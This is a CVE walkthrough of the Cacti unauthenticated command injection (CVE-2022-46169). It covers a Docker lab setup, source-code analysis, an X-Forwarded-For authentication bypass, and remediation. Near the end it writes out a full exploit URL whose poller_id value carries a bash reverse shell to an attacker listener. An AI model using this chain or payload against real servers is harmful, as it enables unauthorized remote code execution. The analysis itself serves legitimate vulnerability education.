
Cacti is an open-source operational monitoring tool written in PHP, MySQL/MariaDB, which provides a friendly interface.
The vulnerability was found in 2022 which affected all versions before 1.2.23. This bug requires a chain of authentication bypass and command injection to achieve RCE (Remote Code Execution).
In this CVE analysis, I will run Cacti in Docker and use VSCode for code analysis. The set up will be quite simple, first we need a docker-compose.yaml file to create a new environment. Below is the docker-compose.yaml file:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
After creating the file, open command line and navigate to the file directory, run the command docker-compose up -d, open browser and access to localhost:8088. First you will see a log in page:

The default credential is admin/admin. The process of setting up will be presented by photos below:

Create new password

After finishing installation, we will have a console screen like this

Now let's start to analyze the vulnerability. As we know that, the vulnerable file is remote_agent.php, so we'll try to access to file on browser

It says that we are not authorized to access the file. It's time to view the source code of the file

It checks by calling the remote_client_authorized() function. Let's dive deeply into that function.

First, the server get our IP address via the get_client_addr() function and then use the gethostbyaddr() function to translate our IP to hostname. The server then fetch all the pollers available in poller table and compare each poller's hostname with your hostname translated from the IP address. There's a bypass here, inside the get_client_addr():

We can see that the server will retrieve the IP address via one of the header:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
This allow us to fully control the value of our IP address. In this case, we can use the X-Forwarded-For header to spoofed our IP to a valid IP, which allow us to bypass authorization. X-Forwarded-For header is often used to identify the original IP address if there's a proxy or load balancer sit between the client and the server. However, this will be an attack surface for attackers to exploit. Because we run cacti locally, we need to specify an IP address that will be translated to localhost, which is 127.0.0.1.

Looks good now right? However, it's just the beginning bros!!! We need more code analysis to successfully injection command and gain remote code execution. After finishing authentication, the program will execute this code

The server will get the action parameter and step into a Switch/Case. if the value of action is pollerdata, the program will call the poll_for_data(). This function is vulnerable to command injection, so we will carefully analyze it.

The function will take 3 parameters $local_data_ids, $host_id, $poller_id received from user's request parameters local_data_ids, host_id, poller_id. Notice the difference in the function to retrieve the parameters, one is get_filter_request_var and other is get_nfilter_request_var, there is one more n in the last function, we will discuss more about this. After that, the program will check if we supply the local_data_ids parameter and will loop each one to retrieve data from the poller_item table base on local_data_ids and host_id. The query will be saved in $items.

If the query returns with results, the program will loop through each $item in $items and step in a Switch/Case statement which takes $item['action'] as Switch value. There're many cases but the case we should investigate is the POLLER_ACTION_SCRIPT_PHP which means action equals to 2.

Once action is 2, the program will execute the proc_open() command, which is quite similar to exec(), and take $poller_id as one of the variables, which is fully controlled by us. For better visualization, we should access to the database to retrieve the poller_item table's content to see how it looks like.

From the table, we see that we have to brute-force the local_data_id to get the poller having action = 2, this will be applied in real-world exploitation. By default, cacti doesn't have any poller having action = 2, yet this can be done by adding new templates like device



After create new device, we access the poller_item table again and see that there's a new poller with action = 2

Now let's review the whole process again. To successfully exploit the bug, we need to first bypass the authentication by adding X-Forwarded-For header. The next step is to provide action parameter to polldata, host_id =1, local_data_ids equals to the corresponding poller having action =2, in this case local_data_ids = 6, and most importantly, the poller_id parameter is where we will injection command to obtain remote code execution. There use of get_nfilter_request_var() make this parameter vulnerable. While get_filter_request_var only accepts integer, get_nfilter_request_var allow us to enter string. In addition, there is no input validation for this parameter, which leads to a full command injection.
Let's run a Kali Linux server listening for requests.

We need kali's IP address and port which runs the server to build the payload, in this case are 172.22.119.130 and netcat's running on port 4444
Now let's open Burpsuite and start to exploit, the payload used here is ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. The payload use a ; to end the previous command and execute a new command. the rest is a simply command to get reverse shell. Combine all together, we have the full url: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


Bump!!! We have successfully exploited the bug. The process and explanation is quite long but in general, this is not a very complicated vulnerability.
The root cause of this vulnerability is the use of get_nfilter_request_var() function for poller_id parameter. We can change it to get_filter_request_var() to only accept integer

We can add another security layer by sanitize the value of poller_id by using the cacti_escapeshellarg() function. These practice will ensure that only valid input passed into poller_id before it is used for further steps.

This is the end of the analysis. Hope you will learn something meaningful. As we can see that, vulnerability often takes place in user's input. Therefore, it is so important that we should apply proper input validation in order to secure our server. Remote Code Execution is so tremendous, but there's still a way to prevent it!!! Happy hacking!
https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169